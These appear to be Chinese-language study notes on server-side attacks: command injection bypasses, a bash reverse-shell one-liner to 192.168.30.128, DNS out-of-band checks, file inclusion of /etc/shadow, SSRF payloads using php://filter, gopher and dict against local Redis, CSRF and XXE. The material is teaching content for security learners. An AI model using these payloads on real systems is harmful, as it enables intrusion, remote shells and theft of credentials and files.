第 8 周
· 阅读需 3 分钟
提示
服务端漏洞的终结武器,深度学习远程命令执行(RCE)与远程代码执行(RCE)攻击技术。本篇涵盖命令注入的多种绕过手法、反弹 Shell 与 DNS 外带验证技巧、文件包含漏洞的利用方式,以及 SSRF 与 CSRF 攻击的原理与实战,掌握服务端安全的核心漏洞攻击链。
RCE
remote command/code excute
远程命令执行
用户可以执行指定远程命令
- 通过逻辑运算拼接非指定的操作系统命令

- 使用黑名单过滤
&&和:, 仍可使用|绕过

|被加入黑名单时,|不跟空格亦可绕过

getshell
- base64 编码绕过
- Hex 编码绕过
- 分块写入
反弹 shell
- 在肉鸡上使用 nc 命令监听
# 连接
nc [-options] hostname port[s] [ports]
# 监听
nc -l -p port [-options] [hostname] [port]

- 目标机器上执行反弹 shell, 标准输出和标准输入均重定向到肉鸡
bash -c 'bash -i >& /dev/tcp/192.168.30.128/9999 0>&1
注意: /dev/tcp 为 bash 特有的伪设备, 其他 shell 不支持会如下报错

- 获取到目标机器的 shell

DNS 外带验证
当无回显时, 通过逻辑操作拼接 ping 命令, 判断是否有 RCE 漏洞
- 通过 dnslog 获取随机子域名, 验证是否接收到请求

- 刷新如果有请求记录, 说明一定存在 RCE 漏洞, 未收到不能完全说明没有 RCE 漏洞
远程代码执行
用户输入被作为代码的一部分进行执行
文件包含
服务端对用户侧生成的路径拼接参数没有校验, 拼接 ../../etc/shadow 等
- URL 的 file 参数值没有做限制

- 构造参数, 读取解析通过上传到服务器的图片木马

服务端请求伪造
Server-Side Request Forgery, 通过服务器作为代理, 请求其他资源
- 利用伪协议
?file=php://filter/read=convert.base64-encode/resource=读取内网文件

- 进行base64解码, 拿到数据库配置信息

常用伪协议
- gopher://
- 构造任意 tcp 流量包
- paload 示例:
?url=gopher://127.0.0.1:6379/_*payload
- dict://
- 探测服务指纹
- paload 示例:
?url=dict://127.0.0.1:6379/info
- netdoc://
- 仅 java 环境, 类似
file://读取文件
跨站请求伪造
Cross-Side Request Forgery, 利用浏览器自动带上 cookie 机制, 诱导用户点击恶意链接执行黑客想要的操作
XXE
XML 外部实体注入, XML 允许引用外部实体时, 可利用各种协议构造恶意请求
- 利用 Collaborator 或 dnslog 构造 payload 测试是否存在 xxe 漏洞


- 观察到有回显则存在漏洞

- 构造 payload, 读取敏感文件
